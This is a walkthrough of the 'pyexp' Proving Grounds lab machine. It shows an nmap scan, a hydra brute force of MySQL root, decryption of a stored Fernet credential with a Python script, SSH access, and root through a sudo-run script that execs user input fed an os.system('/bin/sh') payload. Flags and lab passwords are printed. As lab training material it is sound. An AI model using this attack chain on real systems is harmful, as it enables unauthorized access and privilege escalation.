green viper

Proving Grounds: pyexp Walkthrough

, ,

Machine Stats

Name
Pyexp

OS
Linux

Rating
Easy

Enumeration

I started by running my standard nmap scan.

nmap -A -T4 -p- 192.168.119.118
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-02 20:03 EDT
Nmap scan report for 192.168.119.118
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
|   256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|_  256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
3306/tcp open  mysql   MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 39
|   Capabilities flags: 63486
|   Some Capabilities: LongColumnFlag, ODBCClient, ConnectWithDatabase, Speaks41ProtocolNew, Support41Auth, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolOld, SupportsTransactions, IgnoreSigpipes, InteractiveClient, SupportsLoadDataLocal, SupportsCompression, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \\8B%/[^H.KnjHhUMe5w
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.43 seconds

With an open mysql port, I decided to launch a bruteforce to see if I could get a password to shake out.

└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.119.118 mysql     
Hydra v9.3 (c) 2022 by v
an Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-02 20:29:38
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://192.168.119.118:3306/
[STATUS] 1311.00 tries/min, 1311 tries in 00:01h, 14343088 to do in 182:21h, 4 active
[STATUS] 1298.00 tries/min, 3894 tries in 00:03h, 14340505 to do in 184:09h, 4 active
[STATUS] 1289.86 tries/min, 9029 tries in 00:07h, 14335370 to do in 185:14h, 4 active
[3306][mysql] host: 192.168.119.118   login: root   password: prettywoman
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-02 20:37:35

Success! Let’s connect to the database and see what we can see.

└─$ mysql -u root -p -h 192.168.119.118                                                                                                                                 1 ⨯
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 22336
Server version: 10.3.23-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| data               |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.035 sec)

MariaDB [(none)]> use data;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [data]> show tables;
+----------------+
| Tables_in_data |
+----------------+
| fernet         |
+----------------+
1 row in set (0.026 sec)

MariaDB [data]> select * from fernet;
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| cred                                                                                                                     | keyy                                         |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys= | UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
1 row in set (0.029 sec)

Well this is an interesting finding- it looks like we have a credential that is encrypted as well as a possible key to decrypt it with. With the name of the table being Fernet and the name of the box getting me thinking python, I started doing a little searching around. I decided to write a little messy python script to try to figure out the value of “cred” (some of the sites I referenced: https://cryptography.io/en/latest/fernet/ and https://stackoverflow.com/questions/69485611/decrypting-a-fernet-key-when-you-have-the-key-file-but-dont-know-what-is-encryp)

fernet-decode.py

from cryptography.fernet import Fernet

key = "UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0="
cred = "gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="

f = Fernet(key)

# convert from string to bytes
cred_byte = str.encode(cred)

# decrypt
decrypted = f.decrypt(cred_byte)

# convert back to string from bytes
decrypted_final = decrypted.decode()

# print the final answer
print(decrypted_final)

And here’s the result… we’re going to assume that the username here is lucy, password of wJ9`”Lemdv9[FEw-

└─$ python3 fernet-decode.py
lucy:wJ9`"Lemdv9[FEw-

User Account

As the user of lucy… let’s ssh in:

└─$ ssh lucy@192.168.119.118 -p 1337

lucy@192.168.119.118's password: 
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
lucy@pyexp:~$

And here’s local.txt:

lucy@pyexp:~$ cat local.txt
0206e78966fa2db02b64d34c0d799b98

Privilege Escalation & Root Flag

Before bringing linpeas over to the victim machine, I did some basic manual enumeration.

lucy@pyexp:~$ sudo -l
Matching Defaults entries for lucy on pyexp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucy may run the following commands on pyexp:
    (root) NOPASSWD: /usr/bin/python2 /opt/exp.py

It looks like lucy can run the /opt/exp.py script as root. Let’s see what that script does:

lucy@pyexp:~$ cat /opt/exp.py 
uinput = raw_input('how are you?')
exec(uinput)

Raw input mixed with the exec command? Sounds good to me. I went to gtfobins to look at python and it looks like we can just invoke a new shell and can use that to get proof.txt

lucy@pyexp:~$ sudo -u root /usr/bin/python2 /opt/exp.py
how are you?import os; os.system("/bin/sh")
#
# whoami
root
proof.txt  root.txt
# cat /root/proof.txt
a3078512c7d7b8f377d7d7b78453c2e1
Scroll to Top